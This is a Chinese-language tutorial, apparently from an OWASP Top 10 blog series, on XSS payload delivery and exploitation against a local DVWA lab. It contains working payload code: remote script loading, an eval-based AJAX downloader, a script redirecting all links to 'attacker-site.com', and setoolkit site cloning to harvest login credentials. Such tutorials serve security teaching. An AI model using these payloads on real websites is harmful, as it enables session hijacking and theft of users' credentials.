概述
文章目录
- OWASP TOP 10
- XSS漏洞
- 一、shellcode的调用
- 1. 远程调用
- 2. windows.location.hash
- 3. XSS Downloader
- 4. 备选存储技术
- 二、XSS漏洞的利用
- 1. 篡改url
- 2. 使用setoolkit克隆网站
OWASP TOP 10
XSS漏洞
一、shellcode的调用
shellcode就是在利用漏洞所执行的代码。完整的XSS攻击,会将shellcode
存放在一定的地方,然后触发漏洞,调用shellcode。
1. 远程调用
这是比较常用的方式。将JS代码单独放在一个js文件中,然后通过http协议远程加载该脚本。
如:<script src="http://IP地址/js文件的路径"></script>
示例:
js脚本内容:
alert('xss');
提交结果:成功执行
2. windows.location.hash
我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。
windows.location.hash会获取URL中#和其后面的内容,例如http://domain.com/index.php#hello
,windows.location.hash的值就#hello
。
所以我们可以构造如下代码:
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)
, 直接提交到测试页面。
- location.hash.substr(1)就是截取#后面的所有内容
3. XSS Downloader
XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
常见的下载器代码:
<script>
function XSS(){
if(window.XMLHttpRequest){
a = new XMLHttpRequest();
}else if(window.ActiveXObject){
a = new ActiveXObject("Microsoft.XMLHTTP");
}else{
return;
}
a.open('get','IP地址+文件路径',false);
a.send();
b = a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexof('|EOF'))));
}
XSS();
</script>
AJAX技术由于会受到同源策略的限制,为解决该问题,需要在服务端代码添加以下内容:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept');
?>
示例:
服务端代码(xss_downloader.php)为:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept');
?>
~~~~~~html代码~~~~~~BOF|alert(/XSS/)|EOF~~~~~~html代码~~~~~~
4. 备选存储技术
我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。
以HTTP Cookie为例
<meta charset='utf-8'>
<?php
if(setcookie("name","<script>alert(/xss/)</script>")){
echo "<a href='./xss.php' target='_blank'>Cookie-XSS验证</a>";
}else{
echo "设置cookie失败";
}
?>
点击Cookie-XSS验证:
二、XSS漏洞的利用
1. 篡改url
使用js函数:windows.onload
window.onload当窗口加载时,执行匿名函数。使用for循环遍历所有获得的链接a标签,将链接篡改为XSS链接。
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="http://attacker-site.com/";}
}
</script>
反射型示例:所有的链接被替换成我们定义的链接了。
定义的链接可以篡改为指向流量url(刷流量),或者篡改为beef生成的url实施监测。
2. 使用setoolkit克隆网站
选择1
选择2
选择3
选择2,输入想要克隆的url:
我们这里克隆我们本地的DVWA的登录站点:
访问本地IP,登录到DVWA的页面:
将XSS存储跳转克隆网站获取用户名、密码:
存储后它会直接跳转到我们克隆后的url地址,我们在这里登录后,setoolkit工具就会获得你的用户名密码:
最后
以上就是拉长橘子为你收集整理的OWASP TOP 10(二)XSS漏洞(shellcode调用方法、XSS的利用)OWASP TOP 10的全部内容,希望文章能够帮你解决OWASP TOP 10(二)XSS漏洞(shellcode调用方法、XSS的利用)OWASP TOP 10所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复